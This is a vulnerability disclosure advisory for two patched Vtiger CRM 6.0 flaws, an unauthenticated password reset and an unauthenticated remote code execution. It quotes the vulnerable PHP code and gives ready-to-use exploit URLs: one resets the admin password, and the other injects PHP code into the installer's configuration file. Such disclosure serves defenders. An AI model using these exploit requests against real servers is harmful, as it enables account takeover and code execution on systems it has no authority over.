The following article describes the details of two critical vulnerabilities found in Vtiger CRM by the Navixia Research Team.
These vulnerabilites have been reported to the Vtiger Security team and have now been fixed and can be found in patch 2 issued on March 16, 2014 (see also changeset 14043). A CVE has been attached with the following references:
- Unauthenticated Password Reset CVE-2014-2269
- Unauthenticated Remote Code Execution CVE-2014-2268
Vtiger is a well-known web-based Customer Relationship Managemement system (CRM) with a worldwide customer base. This article presents two critical vulnerabilities found in this web application. Validation has been done on the latest stable version (6.0) dated January 10, 2014.
Summary
Product: Vtiger CRM
Vendor: Vtiger Systems (India) Private Limited
Vulnerable Version: 6.0.0 (including Security Patch1), 6.0 RC, 6.0 Beta
Tested Version: 6.0.0
Vendor Notification: March 04 2014
Public Disclosure: April 10 2014
Vulnerabilities:
- CVE-2014-2269: Unauthenticated Password Reset
- CVE-2014-2268: Unauthenticated Remote Code Execution
Discovered and Provided By: Navixia SA Research Team
Mitigation: Apply Security Patch 2 for Vtiger 6.0 (issued on March 16, 2014)
CVE-2014-2269 Unauthenticated Password Reset
The normal way for users to change their password is by requesting forgotPassword.php with the GET parameters username and email.This page verifies the data and if they are correct, an email is sent to the user. This email contains a unique link to a reset password page.
forgotPassword.php snippet
$options = array(
'handler_path' => 'modules/Users/ForgotPassword.php',
'handler_class' => 'Users_ForgotPassword_Handler',
'handler_function' => 'changePassword',
'handler_data' => array(
'username'=>$username,
'email'=>$email
)
);
$trackURL = Vtiger_ShortURL_Helper::generateURL($options);
$contents = 'Hi '.$username.', <br>
This email was sent to you as you submitted the request to change password for Vtiger CRM.<br>
Please follow this link to reset your password. <br><br>'.$trackURL;
$mail = new PHPMailer();
setMailerProperties($mail,'Request : ForgotPassword - vtigercrm',
$contents,'support[at]vtiger.com',$username,$email);
$status = MailSend($mail);
On the reset password page, when the user completes the form and sends it, the request looks like this:
GET modules/Users/ForgotPassword.php ?username=user&password=newpassword&confirmPassword=newpassword
modules/Users/actions/ForgotPassword.php:
class Users_ForgotPassword_Action {
public function changePassword($request){
$request = new Vtiger_Request($request);
$viewer = Vtiger_Viewer::getInstance();
$username = $request->get('username');
$newPassword = $request->get('password');
$confirmPassword = $request->get('confirmPassword');
$userId = getUserId_Ol($username);
$user = new Users();
$user->retrieve_entity_info($userId, 'Users');
$wsUserId = vtws_getWebserviceEntityId('Users', $userId);
vtws_changePassword($wsUserId, '', $newPassword, $confirmPassword, $user);
$viewer->assign('USERNAME', $username);
$viewer->assign('PASSWORD', $newPassword);
$viewer->view('FPLogin.tpl', 'Users');
}
public static function run($request){
$instance = new self();
$instance->changePassword($request);
}
}
Users_ForgotPassword_Action::run($_REQUEST);
No access control or restriction is enforced when the "changePassword" function is called. Any unauthenticated user can forge a request using the following format, resetting the "admin" password to "navixia".
Furthermore, the Administrator account name cannot be changed and is fixed to "admin".
Exploit
http:// site/modules/Users/actions/ForgotPassword.php?username=admin&password=navixia&confirmPassword=navixia
CVE-2014-2268 Unauthenticated Remote Code execution
Vtiger works with modules which have multiple actions/views. Those modules inherit Vtiger_Action_Controller and Vtiger_View_Controller classes. The method process is used to call these actions, however they also inherit preProcess and postProcess classes.
includes/main/WebUI.php
...
66 protected function triggerPreProcess($handler, $request) {
67 if($request->isAjax()){
68 return true;
69 }
70 $handler->preProcess($request);
71 }
72
73 protected function triggerPostProcess($handler, $request) {
74 if($request->isAjax()){
75 return true;
76 }
77 $handler->postProcess($request);
78 }
...
183 $this->triggerPreProcess($handler, $request);
184 $response = $handler->process($request);
185 $this->triggerPostProcess($handler, $request);
...
The preProcess and postProcess methods are called only if the request is not an AJAX request. This verification takes place using the well-known X-REQUESTED-WITH HTTP header. Vtiger uses the presence of this header to identify the kind of request.
includes/http/Request.php
...
180 function isAjax() {
181 if(!empty($_SERVER['HTTP_X_PJAX']) && $_SERVER['HTTP_X_PJAX'] == true) {
182 return true;
183 } elseif(!empty($_SERVER['HTTP_X_REQUESTED_WITH'])) {
184 return true;
185 }
186 return false;
187 }
...
We found an interesting module called Install. This module has a view called Index. The verification takes place in the preProcess method.
We can easily trigger a re-installation of the application with a request containing X-Requested-With HTTP header.
modules/Install/views/Index.php
...
29 public function preProcess(Vtiger_Request $request) {
30 date_default_timezone_set('Europe/London');
31 // Added to redirect to default module if already installed
32 $configFileName = 'config.inc.php';
33 if(is_file($configFileName) && filesize($configFileName) > 0) {
34 $defaultModule = vglobal('default_module');
35 $defaultModuleInstance = Vtiger_Module_Model::getInstance($defaultModule);
36 $defaultView = $defaultModuleInstance->getDefaultViewName();
37 header('Location:index.php?module='.$defaultModule.'&view='.$defaultView);
38 exit;
39 }
...
Let's focus on step 7 of the installation:
modules/Install/views/Index.php
...
164 public function Step7(Vtiger_Request $request) {
165 // Set favourable error reporting
166 error_reporting(E_ALL & ~E_NOTICE & ~E_DEPRECATED);
167
168 $moduleName = $request->getModule();
169 if($_SESSION['config_file_info']['authentication_key'] != $request->get('auth_key')) {
170 die(vtranslate('ERR_NOT_AUTHORIZED_TO_PERFORM_THE_OPERATION', $moduleName));
171 }
172
173 // Create configuration file
174 $configParams = $_SESSION['config_file_info'];
175 $configFile = new Install_ConfigFileUtils_Model($configParams);
176 $configFile->createConfigFile();
...
Parameters used to create the configuration file are stored in a session variable called config_file_info. A verification is made on auth_key, this variable is defined in step 5 of the installation.
We can easily retrieve this variable looking at the source code of the page.
With this information, we can create a configuration file with our own PHP code inside.
Exploitation:
- Stage1 http:// site/index.php?module=Install&view=Index&mode=Step5&db_name=whatever%27;%20phpinfo(); retrieves the auth_key in the source code of the page
- Stage2 http:// site/index.php?module=Install&view=Index&mode=Step7&auth_key=[retrieved_key]
A Metasploit vtiger_install_rce module has been developed and merged into the framework (https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/vtiger_install_rce.rb).